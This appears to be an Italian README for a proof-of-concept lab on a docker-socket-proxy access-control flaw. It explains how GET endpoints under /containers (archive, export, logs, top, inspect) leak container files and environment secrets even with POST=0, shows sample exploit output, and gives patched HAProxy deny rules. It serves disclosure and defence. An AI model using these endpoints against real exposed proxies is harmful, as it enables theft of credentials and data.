
Proof-of-concept exploit per CVE-2026-78122, che dimostra l'esfiltrazione del filesystem del container e delle variabili d'ambiente attraverso le regole di accesso grossolane di docker-socket-proxy, oltre a una configurazione HAProxy corretta.
Tecnativa docker-socket-proxy ≤ 0.5.0 — Granularità insufficiente del controllo degli accessi (CWE-1220)
CVSS 4.0: 8.3 (Alto) — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Il vettore di attacco è Adiacente (
AV:A): l'attaccante necessita di accesso di rete locale/adiacente al proxy — che è esattamente il motivo per cui tenerlo lontano da qualsiasi interfaccia instradabile fa parte della mitigazione.
docker-socket-proxy è un front-end HAProxy per il socket Docker il cui intero
scopo è fornire accesso circoscritto, con privilegi minimi all'API Docker. La
ricetta canonica "sicura, sola lettura" che gli operatori usano è:
CONTAINERS=1 # allow listing/inspecting containers
POST=0 # deny everything that mutates state
# every other flag left at its default (0)
Gli operatori credono ragionevolmente che questo produca metadati dei container in sola lettura. Non è così.
In haproxy.cfg
l'intero namespace /containers è controllato da una singola regola di prefisso grossolana:
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }
Questa regex corrisponde a ogni sotto-percorso GET sotto /containers, inclusi
gli endpoint di lettura sensibili che non dovevano mai far parte di "lista container".
Poiché sono tutti GET, la protezione POST=0 non fa nulla per fermarli:
Effetto netto: con la postura "indurita" CONTAINERS=1, POST=0, chiunque possa
raggiungere il proxy può estrarre segreti ed esfiltrare il filesystem completo di
ogni container sull'host.
lab/ vulnerable docker-socket-proxy v0.5.0 + a victim container with planted secrets
exploit/ exploit.sh — end-to-end data-exfiltration PoC
mitigation/ patched haproxy.cfg + compose that denies the sensitive sub-paths
verify.sh one command: stand up both, exploit, print a before/after table
teardown.sh stop everything
loot/ exploit output lands here
Richiede Docker + Docker Compose e una shell POSIX (Git Bash su Windows funziona).
./verify.sh
Oppure passo dopo passo:
docker compose -f lab/docker-compose.yml up -d # vulnerable proxy on 127.0.0.1:2375
bash exploit/exploit.sh http://127.0.0.1:2375 # loot lands in ./loot
Il proxy è vincolato solo a
127.0.0.1. Non esporre mai un proxy del socket Docker su un'interfaccia instradabile.
[+] POST /containers/create -> 403 Forbidden (operator believes they are safe)
Leaked environment variables:
STRIPE_API_KEY=sk_live_FAKE_0000000000000000
DB_PASSWORD=hunter2-from-container-env
[+] Pulled /etc/passwd via /archive
[+] Stole /run/secrets/aws.env via /archive
[+] Exported entire filesystem (8,095,232 bytes) via /export
[+] Retrieved process table via /top and logs via /logs
Ogni elemento sopra è stato ottenuto con POST=0 ancora in vigore.
Soluzione reale: aggiornare alla release corretta (tracciata in
issue #182 /
PR #183) e smettere
di fare affidamento sul fatto che CONTAINERS=1 da solo sia "sola lettura".
Questo repository include anche una configurazione indurita utilizzabile direttamente
(mitigation/haproxy.patched.cfg) che aggiunge
regole deny esplicite per i sotto-percorsi pericolosi prima dell'allow generico
di /containers, ciascuna riattivabile tramite un flag dedicato
(ALLOW_ARCHIVE, ALLOW_EXPORT, ALLOW_LOGS, ALLOW_TOP):
http-request deny if { ... /containers/[..]/archive } ! { env(ALLOW_ARCHIVE) -m bool }
http-request deny if { ... /containers/[..]/export } ! { env(ALLOW_EXPORT) -m bool }
http-request deny if { ... /containers/[..]/logs } ! { env(ALLOW_LOGS) -m bool }
http-request deny if { ... /containers/[..]/top } ! { env(ALLOW_TOP) -m bool }
Verificato prima/dopo (output di verify.sh) — stessa postura CONTAINERS=1, POST=0:
Elenco/ispezione legittimi funzionano ancora; le primitive di esfiltrazione sono bloccate.
Operativamente, inoltre: tenere il proxy lontano da qualsiasi rete instradabile, montare il socket docker in sola lettura e applicare il principio dei privilegi minimi (abilitare solo i flag esatti di cui un consumatore ha bisogno).
Solo per test di sicurezza autorizzati e scopi educativi. Il laboratorio viene eseguito interamente sul tuo host contro container che hai creato.
| Endpoint (GET) | Cosa espone |
|---|
/containers/{id}/archive?path=… | Lettura di file arbitraria da qualsiasi container |
/containers/{id}/export | Intero filesystem del container come tar |
/containers/{id}/logs | stdout/stderr del container |
/containers/{id}/top | Elenco processi con argv completo (può contenere credenziali) |
/containers/{id}/json | Configurazione completa incl. variabili d'ambiente |
| Endpoint GET | Vulnerabile (:2375) | Mitigato (:2376) |
|---|
/containers/json (elenco) | 200 | 200 |
/containers/{id}/json (ispezione) | 200 | 200 |
/containers/{id}/archive | 200 | 403 |
/containers/{id}/export | 200 | 403 |
/containers/{id}/logs | 200 | 403 |
/containers/{id}/top | 200 | 403 |